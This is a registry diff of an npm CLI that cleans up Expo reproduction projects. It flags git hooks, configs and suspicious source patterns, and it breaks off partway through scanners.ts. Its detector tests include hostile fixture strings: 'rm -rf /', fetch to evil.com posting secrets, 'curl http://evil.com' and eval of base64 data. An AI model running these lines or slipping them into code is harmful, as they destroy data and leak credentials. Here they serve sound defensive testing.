expo-repro-cleanup 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli.ts +17 -0
- package/package.json +43 -0
- package/src/__tests__/processors.test.ts +109 -0
- package/src/__tests__/scanners.test.ts +104 -0
- package/src/__tests__/source-patterns.test.ts +127 -0
- package/src/index.ts +36 -0
- package/src/prebuild.ts +70 -0
- package/src/processors.ts +95 -0
- package/src/scanners.ts +188 -0
- package/src/types.ts +14 -0
package/cli.ts
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
#!/usr/bin/env bun
|
|
2
|
+
|
|
3
|
+
import pc from 'picocolors';
|
|
4
|
+
import { runCleanupAsync } from './src/index.js';
|
|
5
|
+
|
|
6
|
+
async function main() {
|
|
7
|
+
const projectRoot = process.argv[2] || process.cwd();
|
|
8
|
+
|
|
9
|
+
try {
|
|
10
|
+
await runCleanupAsync(projectRoot);
|
|
11
|
+
} catch (error) {
|
|
12
|
+
console.error(pc.red(pc.bold('💥 Fatal error:')), error);
|
|
13
|
+
process.exit(1);
|
|
14
|
+
}
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
main().catch(console.error);
|
package/package.json
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "expo-repro-cleanup",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"description": "Cleanup issue reproducible example for Expo projects",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "src/index.ts",
|
|
7
|
+
"bin": {
|
|
8
|
+
"expo-repro-cleanup": "./cli.ts"
|
|
9
|
+
},
|
|
10
|
+
"files": [
|
|
11
|
+
"cli.ts",
|
|
12
|
+
"src"
|
|
13
|
+
],
|
|
14
|
+
"scripts": {
|
|
15
|
+
"dev": "tsc --watch",
|
|
16
|
+
"lint": "eslint src",
|
|
17
|
+
"test": "vitest run -c ./vite.config.ts"
|
|
18
|
+
},
|
|
19
|
+
"keywords": [
|
|
20
|
+
"expo",
|
|
21
|
+
"cleanup",
|
|
22
|
+
"repro",
|
|
23
|
+
"security"
|
|
24
|
+
],
|
|
25
|
+
"author": "Kudo Chien",
|
|
26
|
+
"license": "MIT",
|
|
27
|
+
"bugs": {
|
|
28
|
+
"url": "https://github.com/Kudo/expo-repro-cleanup/issues"
|
|
29
|
+
},
|
|
30
|
+
"homepage": "https://github.com/Kudo/expo-repro-cleanup#readme",
|
|
31
|
+
"devDependencies": {
|
|
32
|
+
"@types/bun": "^1.2.20",
|
|
33
|
+
"eslint": "^9.34.0",
|
|
34
|
+
"eslint-config-universe": "^15.0.3",
|
|
35
|
+
"prettier": "^3.6.2",
|
|
36
|
+
"typescript": "^5.9.2",
|
|
37
|
+
"vitest": "^3.2.4"
|
|
38
|
+
},
|
|
39
|
+
"dependencies": {
|
|
40
|
+
"@inquirer/prompts": "^7.8.3",
|
|
41
|
+
"picocolors": "^1.1.1"
|
|
42
|
+
}
|
|
43
|
+
}
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
|
4
|
+
|
|
5
|
+
import { processTargetAsync } from '../processors.js';
|
|
6
|
+
import type { CleanupTarget } from '../types.js';
|
|
7
|
+
|
|
8
|
+
// Mock inquirer prompts
|
|
9
|
+
vi.mock('@inquirer/prompts', () => ({
|
|
10
|
+
select: vi.fn(),
|
|
11
|
+
}));
|
|
12
|
+
|
|
13
|
+
const testDir = path.join(process.cwd(), 'test-temp-processors');
|
|
14
|
+
|
|
15
|
+
describe('processTargetAsync', () => {
|
|
16
|
+
beforeEach(async () => {
|
|
17
|
+
await fs.promises.mkdir(testDir, { recursive: true });
|
|
18
|
+
vi.clearAllMocks();
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
afterEach(async () => {
|
|
22
|
+
await fs.promises.rm(testDir, { recursive: true, force: true });
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it('should auto-remove files marked for autoRemove', async () => {
|
|
26
|
+
const testFile = path.join(testDir, 'test-lock.json');
|
|
27
|
+
await fs.promises.writeFile(testFile, '{}');
|
|
28
|
+
|
|
29
|
+
const target: CleanupTarget = {
|
|
30
|
+
path: testFile,
|
|
31
|
+
type: 'lockfile',
|
|
32
|
+
description: 'Test lock file',
|
|
33
|
+
autoRemove: true,
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
const result = await processTargetAsync(target);
|
|
37
|
+
|
|
38
|
+
expect(result).toBe('continue');
|
|
39
|
+
expect(fs.promises.access(testFile)).rejects.toThrow(); // File should be deleted
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it('should handle package.json scripts removal', async () => {
|
|
43
|
+
const packagePath = path.join(testDir, 'package.json');
|
|
44
|
+
const originalPackage = {
|
|
45
|
+
name: 'test',
|
|
46
|
+
version: '1.0.0',
|
|
47
|
+
scripts: {
|
|
48
|
+
start: 'node index.js',
|
|
49
|
+
build: 'webpack',
|
|
50
|
+
test: 'jest',
|
|
51
|
+
},
|
|
52
|
+
dependencies: {
|
|
53
|
+
react: '^18.0.0',
|
|
54
|
+
},
|
|
55
|
+
};
|
|
56
|
+
await fs.promises.writeFile(packagePath, JSON.stringify(originalPackage, null, 2));
|
|
57
|
+
|
|
58
|
+
const target: CleanupTarget = {
|
|
59
|
+
path: packagePath,
|
|
60
|
+
type: 'package-scripts',
|
|
61
|
+
description: 'package.json scripts section',
|
|
62
|
+
autoRemove: true,
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
await processTargetAsync(target);
|
|
66
|
+
|
|
67
|
+
const updatedContent = await fs.promises.readFile(packagePath, 'utf-8');
|
|
68
|
+
const updatedPackage = JSON.parse(updatedContent);
|
|
69
|
+
|
|
70
|
+
expect(updatedPackage.scripts).toBeUndefined();
|
|
71
|
+
expect(updatedPackage.name).toBe('test');
|
|
72
|
+
expect(updatedPackage.dependencies.react).toBe('^18.0.0');
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it('should handle directory removal', async () => {
|
|
76
|
+
const testVscodeDir = path.join(testDir, '.vscode');
|
|
77
|
+
await fs.promises.mkdir(testVscodeDir);
|
|
78
|
+
await fs.promises.writeFile(path.join(testVscodeDir, 'settings.json'), '{}');
|
|
79
|
+
|
|
80
|
+
const target: CleanupTarget = {
|
|
81
|
+
path: testVscodeDir,
|
|
82
|
+
type: 'config',
|
|
83
|
+
description: 'VSCode directory',
|
|
84
|
+
autoRemove: true,
|
|
85
|
+
};
|
|
86
|
+
|
|
87
|
+
await processTargetAsync(target);
|
|
88
|
+
|
|
89
|
+
expect(fs.promises.access(testVscodeDir)).rejects.toThrow(); // Directory should be deleted
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
it('should handle file removal errors gracefully', async () => {
|
|
93
|
+
const consoleSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
|
|
94
|
+
|
|
95
|
+
const target: CleanupTarget = {
|
|
96
|
+
path: '/nonexistent/file.txt',
|
|
97
|
+
type: 'config',
|
|
98
|
+
description: 'Nonexistent file',
|
|
99
|
+
autoRemove: true,
|
|
100
|
+
};
|
|
101
|
+
|
|
102
|
+
const result = await processTargetAsync(target);
|
|
103
|
+
|
|
104
|
+
expect(result).toBe('continue');
|
|
105
|
+
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('❌ Failed to remove'));
|
|
106
|
+
|
|
107
|
+
consoleSpy.mockRestore();
|
|
108
|
+
});
|
|
109
|
+
});
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
|
4
|
+
|
|
5
|
+
import { scanDirectoryAsync } from '../scanners.js';
|
|
6
|
+
|
|
7
|
+
const testDir = path.join(process.cwd(), 'test-temp');
|
|
8
|
+
|
|
9
|
+
describe('scanDirectoryAsync', () => {
|
|
10
|
+
beforeEach(async () => {
|
|
11
|
+
await fs.promises.mkdir(testDir, { recursive: true });
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
afterEach(async () => {
|
|
15
|
+
await fs.promises.rm(testDir, { recursive: true, force: true });
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
it('should detect lock files', async () => {
|
|
19
|
+
await fs.promises.writeFile(path.join(testDir, 'package-lock.json'), '{}');
|
|
20
|
+
await fs.promises.writeFile(path.join(testDir, 'yarn.lock'), '');
|
|
21
|
+
|
|
22
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
23
|
+
|
|
24
|
+
expect(targets).toHaveLength(2);
|
|
25
|
+
expect(targets[0].type).toBe('lockfile');
|
|
26
|
+
expect(targets[0].autoRemove).toBe(true);
|
|
27
|
+
expect(targets[1].type).toBe('lockfile');
|
|
28
|
+
expect(targets[1].autoRemove).toBe(true);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it('should detect config files', async () => {
|
|
32
|
+
await fs.promises.writeFile(path.join(testDir, 'eslint.config.js'), 'module.exports = {}');
|
|
33
|
+
await fs.promises.writeFile(path.join(testDir, '.babelrc'), '{}');
|
|
34
|
+
|
|
35
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
36
|
+
|
|
37
|
+
expect(targets).toHaveLength(2);
|
|
38
|
+
expect(targets.every((t) => t.type === 'config')).toBe(true);
|
|
39
|
+
expect(targets.every((t) => !t.autoRemove)).toBe(true);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it('should detect app config files', async () => {
|
|
43
|
+
await fs.promises.writeFile(path.join(testDir, 'app.config.js'), 'export default {}');
|
|
44
|
+
|
|
45
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
46
|
+
|
|
47
|
+
expect(targets).toHaveLength(1);
|
|
48
|
+
expect(targets[0].type).toBe('app-config');
|
|
49
|
+
expect(targets[0].description).toContain('app.config.js');
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('should detect package.json with scripts', async () => {
|
|
53
|
+
const pkg = {
|
|
54
|
+
name: 'test',
|
|
55
|
+
scripts: {
|
|
56
|
+
start: 'node index.js',
|
|
57
|
+
build: 'webpack',
|
|
58
|
+
},
|
|
59
|
+
};
|
|
60
|
+
await fs.promises.writeFile(path.join(testDir, 'package.json'), JSON.stringify(pkg, null, 2));
|
|
61
|
+
|
|
62
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
63
|
+
|
|
64
|
+
expect(targets).toHaveLength(1);
|
|
65
|
+
expect(targets[0].type).toBe('package-scripts');
|
|
66
|
+
expect(targets[0].content).toContain('start');
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
it('should detect .vscode directory', async () => {
|
|
70
|
+
await fs.promises.mkdir(path.join(testDir, '.vscode'));
|
|
71
|
+
await fs.promises.writeFile(path.join(testDir, '.vscode', 'settings.json'), '{}');
|
|
72
|
+
|
|
73
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
74
|
+
|
|
75
|
+
expect(targets).toHaveLength(1);
|
|
76
|
+
expect(targets[0].type).toBe('config');
|
|
77
|
+
expect(targets[0].description).toContain('.vscode');
|
|
78
|
+
expect(targets[0].autoRemove).toBe(true);
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
it('should detect git hooks', async () => {
|
|
82
|
+
const gitDir = path.join(testDir, '.git');
|
|
83
|
+
const hooksDir = path.join(gitDir, 'hooks');
|
|
84
|
+
await fs.promises.mkdir(hooksDir, { recursive: true });
|
|
85
|
+
await fs.promises.writeFile(path.join(hooksDir, 'pre-commit'), '#!/bin/sh\necho "test"');
|
|
86
|
+
|
|
87
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
88
|
+
|
|
89
|
+
expect(targets).toHaveLength(1);
|
|
90
|
+
expect(targets[0].type).toBe('git-hook');
|
|
91
|
+
expect(targets[0].description).toContain('pre-commit');
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
it('should ignore git hook .sample files', async () => {
|
|
95
|
+
const gitDir = path.join(testDir, '.git');
|
|
96
|
+
const hooksDir = path.join(gitDir, 'hooks');
|
|
97
|
+
await fs.promises.mkdir(hooksDir, { recursive: true });
|
|
98
|
+
await fs.promises.writeFile(path.join(hooksDir, 'pre-commit.sample'), '#!/bin/sh\necho "test"');
|
|
99
|
+
|
|
100
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
101
|
+
|
|
102
|
+
expect(targets).toHaveLength(0);
|
|
103
|
+
});
|
|
104
|
+
});
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
|
4
|
+
|
|
5
|
+
import { scanDirectoryAsync } from '../scanners.js';
|
|
6
|
+
|
|
7
|
+
const testDir = path.join(process.cwd(), 'test-temp-source');
|
|
8
|
+
|
|
9
|
+
describe('Source file pattern detection', () => {
|
|
10
|
+
beforeEach(async () => {
|
|
11
|
+
await fs.promises.mkdir(testDir, { recursive: true });
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
afterEach(async () => {
|
|
15
|
+
await fs.promises.rm(testDir, { recursive: true, force: true });
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
it('should detect suspicious child_process patterns', async () => {
|
|
19
|
+
const maliciousCode = `
|
|
20
|
+
const { spawn } = require('child_process');
|
|
21
|
+
spawn('rm', ['-rf', '/']);
|
|
22
|
+
`;
|
|
23
|
+
await fs.promises.writeFile(path.join(testDir, 'malicious.js'), maliciousCode);
|
|
24
|
+
|
|
25
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
26
|
+
|
|
27
|
+
expect(targets).toHaveLength(1);
|
|
28
|
+
expect(targets[0].type).toBe('source-file');
|
|
29
|
+
expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
|
|
30
|
+
expect(targets[0].content).toContain('🚨spawn🚨');
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it('should detect eval patterns', async () => {
|
|
34
|
+
const maliciousCode = `
|
|
35
|
+
const userInput = getInput();
|
|
36
|
+
eval(userInput);
|
|
37
|
+
`;
|
|
38
|
+
await fs.promises.writeFile(path.join(testDir, 'eval-risk.ts'), maliciousCode);
|
|
39
|
+
|
|
40
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
41
|
+
|
|
42
|
+
expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
|
|
43
|
+
expect(targets[0].content).toContain('🚨eval(🚨');
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
it('should detect network requests', async () => {
|
|
47
|
+
const suspiciousCode = `
|
|
48
|
+
fetch('http://evil.com/steal-data', {
|
|
49
|
+
method: 'POST',
|
|
50
|
+
body: JSON.stringify(process.env.SECRET)
|
|
51
|
+
});
|
|
52
|
+
`;
|
|
53
|
+
await fs.promises.writeFile(path.join(testDir, 'network.js'), suspiciousCode);
|
|
54
|
+
|
|
55
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
56
|
+
|
|
57
|
+
expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
|
|
58
|
+
expect(targets[0].content).toContain('🚨fetch(🚨');
|
|
59
|
+
expect(targets[0].content).toContain('🚨process.env.🚨');
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it('should detect file system operations', async () => {
|
|
63
|
+
const maliciousCode = `
|
|
64
|
+
import fs from 'fs';
|
|
65
|
+
fs.unlink('/important/file.txt');
|
|
66
|
+
fs.rm('/etc/passwd', { recursive: true });
|
|
67
|
+
`;
|
|
68
|
+
await fs.promises.writeFile(path.join(testDir, 'fs-ops.ts'), maliciousCode);
|
|
69
|
+
|
|
70
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
71
|
+
|
|
72
|
+
expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
|
|
73
|
+
expect(targets[0].content).toContain('🚨fs.unlink🚨');
|
|
74
|
+
expect(targets[0].content).toContain('🚨fs.rm🚨');
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
it('should detect clean source files without false positives', async () => {
|
|
78
|
+
const cleanCode = `import React from 'react';
|
|
79
|
+
|
|
80
|
+
export function HelloWorld() {
|
|
81
|
+
return <div>Hello World</div>;
|
|
82
|
+
}`;
|
|
83
|
+
await fs.promises.writeFile(path.join(testDir, 'clean.js'), cleanCode);
|
|
84
|
+
|
|
85
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
86
|
+
|
|
87
|
+
expect(targets).toHaveLength(1);
|
|
88
|
+
expect(targets[0].type).toBe('source-file');
|
|
89
|
+
expect(targets[0].description).not.toContain('SUSPICIOUS PATTERNS DETECTED');
|
|
90
|
+
expect(targets[0].content).not.toContain('🚨');
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it('should truncate long files', async () => {
|
|
94
|
+
const longCode = 'console.log("test");\n'.repeat(100);
|
|
95
|
+
await fs.promises.writeFile(path.join(testDir, 'long.js'), longCode);
|
|
96
|
+
|
|
97
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
98
|
+
|
|
99
|
+
expect(targets[0].content?.endsWith('...')).toBe(true);
|
|
100
|
+
expect(targets[0].content?.length).toBeLessThan(longCode.length);
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
it('should detect multiple suspicious patterns', async () => {
|
|
104
|
+
const multiThreatCode = `
|
|
105
|
+
const { exec } = require('child_process');
|
|
106
|
+
const crypto = require('crypto');
|
|
107
|
+
|
|
108
|
+
exec('curl http://evil.com');
|
|
109
|
+
eval(Buffer.from('base64string', 'base64').toString());
|
|
110
|
+
fetch('http://malicious.site', {
|
|
111
|
+
method: 'POST',
|
|
112
|
+
body: process.env.SECRET_KEY
|
|
113
|
+
});
|
|
114
|
+
`;
|
|
115
|
+
await fs.promises.writeFile(path.join(testDir, 'multi-threat.js'), multiThreatCode);
|
|
116
|
+
|
|
117
|
+
const targets = await scanDirectoryAsync(testDir);
|
|
118
|
+
|
|
119
|
+
expect(targets[0].description).toContain('SUSPICIOUS PATTERNS DETECTED');
|
|
120
|
+
expect(targets[0].content).toContain('🚨exec🚨');
|
|
121
|
+
expect(targets[0].content).toContain("🚨require('child_process')🚨");
|
|
122
|
+
expect(targets[0].content).toContain('🚨eval(🚨');
|
|
123
|
+
expect(targets[0].content).toContain('🚨fetch(🚨');
|
|
124
|
+
expect(targets[0].content).toContain('🚨Buffer.from');
|
|
125
|
+
expect(targets[0].content).toContain('🚨process.env.🚨');
|
|
126
|
+
});
|
|
127
|
+
});
|
package/src/index.ts
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import path from 'path';
|
|
2
|
+
import pc from 'picocolors';
|
|
3
|
+
|
|
4
|
+
import { checkAndMaybeRunPrebuildAsync } from './prebuild.js';
|
|
5
|
+
import { processTargetAsync } from './processors.js';
|
|
6
|
+
import { scanDirectoryAsync } from './scanners.js';
|
|
7
|
+
|
|
8
|
+
export async function runCleanupAsync(projectRoot: string = process.cwd()): Promise<void> {
|
|
9
|
+
const resolvedDir = path.resolve(projectRoot);
|
|
10
|
+
|
|
11
|
+
console.log(pc.blue(pc.bold('🧹 Expo Repro Cleanup')));
|
|
12
|
+
console.log(pc.gray(`Scanning directory: ${resolvedDir}`));
|
|
13
|
+
console.log();
|
|
14
|
+
|
|
15
|
+
const cleanupTargets = await scanDirectoryAsync(resolvedDir);
|
|
16
|
+
|
|
17
|
+
if (cleanupTargets.length === 0) {
|
|
18
|
+
console.log(pc.green('✅ No cleanup needed - directory is already clean!'));
|
|
19
|
+
return;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
console.log(pc.yellow(`Found ${cleanupTargets.length} items that can be cleaned up:`));
|
|
23
|
+
console.log();
|
|
24
|
+
|
|
25
|
+
for (const target of cleanupTargets) {
|
|
26
|
+
const result = await processTargetAsync(target);
|
|
27
|
+
if (result === 'skip') {
|
|
28
|
+
break;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
console.log();
|
|
33
|
+
console.log(pc.green(pc.bold('🎉 Cleanup completed!')));
|
|
34
|
+
|
|
35
|
+
await checkAndMaybeRunPrebuildAsync(resolvedDir);
|
|
36
|
+
}
|
package/src/prebuild.ts
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
import { select } from '@inquirer/prompts';
|
|
2
|
+
import fs from 'fs';
|
|
3
|
+
import path from 'path';
|
|
4
|
+
import pc from 'picocolors';
|
|
5
|
+
|
|
6
|
+
export async function checkAndMaybeRunPrebuildAsync(projectRoot: string): Promise<void> {
|
|
7
|
+
try {
|
|
8
|
+
const iosDir = path.join(projectRoot, 'ios');
|
|
9
|
+
const androidDir = path.join(projectRoot, 'android');
|
|
10
|
+
|
|
11
|
+
const [iosExists, androidExists] = await Promise.all([
|
|
12
|
+
fs.promises
|
|
13
|
+
.access(iosDir)
|
|
14
|
+
.then(() => true)
|
|
15
|
+
.catch(() => false),
|
|
16
|
+
fs.promises
|
|
17
|
+
.access(androidDir)
|
|
18
|
+
.then(() => true)
|
|
19
|
+
.catch(() => false),
|
|
20
|
+
]);
|
|
21
|
+
|
|
22
|
+
if (iosExists || androidExists) {
|
|
23
|
+
console.log(pc.blue(pc.bold('\n📱 Bare Project Detected')));
|
|
24
|
+
console.log(pc.yellow('Found ios/ and/or android/ directories.'));
|
|
25
|
+
console.log(
|
|
26
|
+
pc.yellow('This is a bare project. Running clean prebuild will regenerate native code.')
|
|
27
|
+
);
|
|
28
|
+
console.log(pc.yellow('You can review changes with `git diff` after prebuild completes.'));
|
|
29
|
+
|
|
30
|
+
const shouldPrebuild = await select({
|
|
31
|
+
message:
|
|
32
|
+
'Run `bash -c "yes | npx expo prebuild --clean"` to regenerate native directories?',
|
|
33
|
+
choices: [
|
|
34
|
+
{ name: 'Yes, run prebuild --clean', value: 'yes' },
|
|
35
|
+
{ name: 'No, skip prebuild', value: 'no' },
|
|
36
|
+
],
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
if (shouldPrebuild === 'yes') {
|
|
40
|
+
await runPrebuildAsync(projectRoot);
|
|
41
|
+
} else {
|
|
42
|
+
console.log(pc.yellow('Skipped prebuild.'));
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
} catch (error) {
|
|
46
|
+
console.warn(pc.yellow(`Warning: Could not check for bare project: ${error}`));
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
async function runPrebuildAsync(projectRoot: string): Promise<void> {
|
|
51
|
+
console.log(pc.blue('\n🔄 Running expo prebuild --clean...'));
|
|
52
|
+
|
|
53
|
+
try {
|
|
54
|
+
const proc = Bun.spawn(['bash', '-c', 'yes | npx expo prebuild --clean'], {
|
|
55
|
+
cwd: projectRoot,
|
|
56
|
+
stdout: 'inherit',
|
|
57
|
+
stderr: 'inherit',
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
const exitCode = await proc.exited;
|
|
61
|
+
|
|
62
|
+
if (exitCode === 0) {
|
|
63
|
+
console.log(pc.green('\n✅ Prebuild completed successfully!'));
|
|
64
|
+
} else {
|
|
65
|
+
console.error(pc.red(`\n❌ Prebuild failed with exit code ${exitCode}`));
|
|
66
|
+
}
|
|
67
|
+
} catch (error) {
|
|
68
|
+
console.error(pc.red(`\n❌ Prebuild failed: ${error}`));
|
|
69
|
+
}
|
|
70
|
+
}
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
import { select } from '@inquirer/prompts';
|
|
2
|
+
import fs from 'fs';
|
|
3
|
+
import pc from 'picocolors';
|
|
4
|
+
|
|
5
|
+
import type { CleanupTarget } from './types.js';
|
|
6
|
+
|
|
7
|
+
export async function processTargetAsync(target: CleanupTarget): Promise<'continue' | 'skip'> {
|
|
8
|
+
if (target.autoRemove) {
|
|
9
|
+
await performCleanupAsync(target);
|
|
10
|
+
return 'continue';
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
console.log(pc.cyan(pc.bold(`\n📋 ${target.description}`)));
|
|
14
|
+
console.log(pc.gray(`Path: ${target.path}`));
|
|
15
|
+
|
|
16
|
+
if (target.content) {
|
|
17
|
+
console.log(pc.gray('\nContent preview:'));
|
|
18
|
+
console.log(pc.white(target.content));
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
showWarnings(target);
|
|
22
|
+
|
|
23
|
+
const action = await select({
|
|
24
|
+
message: 'What would you like to do?',
|
|
25
|
+
choices: [
|
|
26
|
+
{ name: 'Keep this file/section', value: 'keep' },
|
|
27
|
+
{ name: 'Remove this file/section', value: 'remove' },
|
|
28
|
+
{ name: 'Skip remaining files', value: 'skip' },
|
|
29
|
+
],
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
if (action === 'skip') {
|
|
33
|
+
console.log(pc.yellow('Skipping remaining cleanup tasks.'));
|
|
34
|
+
return 'skip';
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
if (action === 'remove') {
|
|
38
|
+
await performCleanupAsync(target);
|
|
39
|
+
} else {
|
|
40
|
+
console.log(pc.green(`✅ Kept: ${target.description}`));
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
return 'continue';
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function showWarnings(target: CleanupTarget): void {
|
|
47
|
+
if (target.type === 'app-config') {
|
|
48
|
+
console.log(pc.red(pc.bold('\n⚠️ APP CONFIG DETECTED')));
|
|
49
|
+
console.log(pc.yellow('This file may contain sensitive configuration.'));
|
|
50
|
+
console.log(pc.yellow('Please review the content above carefully.'));
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (target.type === 'git-hook') {
|
|
54
|
+
console.log(pc.red(pc.bold('\n🚨 GIT HOOK DETECTED - HIGH SECURITY RISK')));
|
|
55
|
+
console.log(pc.yellow('Git hooks are executable scripts that run during git operations.'));
|
|
56
|
+
console.log(pc.yellow('Malicious hooks can execute arbitrary code on your system.'));
|
|
57
|
+
console.log(pc.red('⚠️ STRONGLY RECOMMEND REMOVAL unless you trust the source.'));
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
if (target.type === 'source-file') {
|
|
61
|
+
console.log(pc.yellow(pc.bold('\n📄 SOURCE FILE DETECTED')));
|
|
62
|
+
if (target.description.includes('SUSPICIOUS PATTERNS DETECTED')) {
|
|
63
|
+
console.log(pc.red('🚨 SUSPICIOUS PATTERNS FOUND - Review carefully!'));
|
|
64
|
+
console.log(pc.yellow('Look for patterns marked with 🚨 in the content below.'));
|
|
65
|
+
}
|
|
66
|
+
console.log(pc.yellow('Review for malicious code, debugging statements, or secrets.'));
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
async function performCleanupAsync(target: CleanupTarget): Promise<void> {
|
|
71
|
+
try {
|
|
72
|
+
if (target.type === 'package-scripts') {
|
|
73
|
+
await cleanupPackageScriptsAsync(target.path);
|
|
74
|
+
} else {
|
|
75
|
+
const stats = await fs.promises.stat(target.path);
|
|
76
|
+
if (stats.isDirectory()) {
|
|
77
|
+
await fs.promises.rm(target.path, { recursive: true, force: true });
|
|
78
|
+
} else {
|
|
79
|
+
await fs.promises.unlink(target.path);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
console.log(pc.green(`✅ Removed: ${target.description}`));
|
|
83
|
+
} catch (error) {
|
|
84
|
+
console.error(pc.red(`❌ Failed to remove ${target.description}: ${error}`));
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
async function cleanupPackageScriptsAsync(packagePath: string): Promise<void> {
|
|
89
|
+
const content = await fs.promises.readFile(packagePath, 'utf-8');
|
|
90
|
+
const pkg = JSON.parse(content);
|
|
91
|
+
|
|
92
|
+
delete pkg.scripts;
|
|
93
|
+
|
|
94
|
+
await fs.promises.writeFile(packagePath, JSON.stringify(pkg, null, 2) + '\n');
|
|
95
|
+
}
|
package/src/scanners.ts
ADDED
|
@@ -0,0 +1,188 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import pc from 'picocolors';
|
|
4
|
+
|
|
5
|
+
import type { CleanupTarget } from './types.js';
|
|
6
|
+
|
|
7
|
+
export async function scanDirectoryAsync(projectRoot: string): Promise<CleanupTarget[]> {
|
|
8
|
+
const cleanupTargets: CleanupTarget[] = [];
|
|
9
|
+
|
|
10
|
+
try {
|
|
11
|
+
const files = await fs.promises.readdir(projectRoot);
|
|
12
|
+
|
|
13
|
+
for (const file of files) {
|
|
14
|
+
const filePath = path.join(projectRoot, file);
|
|
15
|
+
const stats = await fs.promises.stat(filePath);
|
|
16
|
+
|
|
17
|
+
if (stats.isFile()) {
|
|
18
|
+
const target = await analyzeFileAsync(file, filePath);
|
|
19
|
+
if (target) {
|
|
20
|
+
cleanupTargets.push(target);
|
|
21
|
+
}
|
|
22
|
+
} else if (stats.isDirectory() && file === '.git') {
|
|
23
|
+
const gitTargets = await scanGitDirectoryAsync(filePath);
|
|
24
|
+
cleanupTargets.push(...gitTargets);
|
|
25
|
+
} else if (stats.isDirectory() && file === '.vscode') {
|
|
26
|
+
cleanupTargets.push({
|
|
27
|
+
path: filePath,
|
|
28
|
+
type: 'config',
|
|
29
|
+
description: 'VSCode settings directory (.vscode)',
|
|
30
|
+
content: 'Contains IDE-specific settings and configurations',
|
|
31
|
+
autoRemove: true,
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
} catch (error) {
|
|
36
|
+
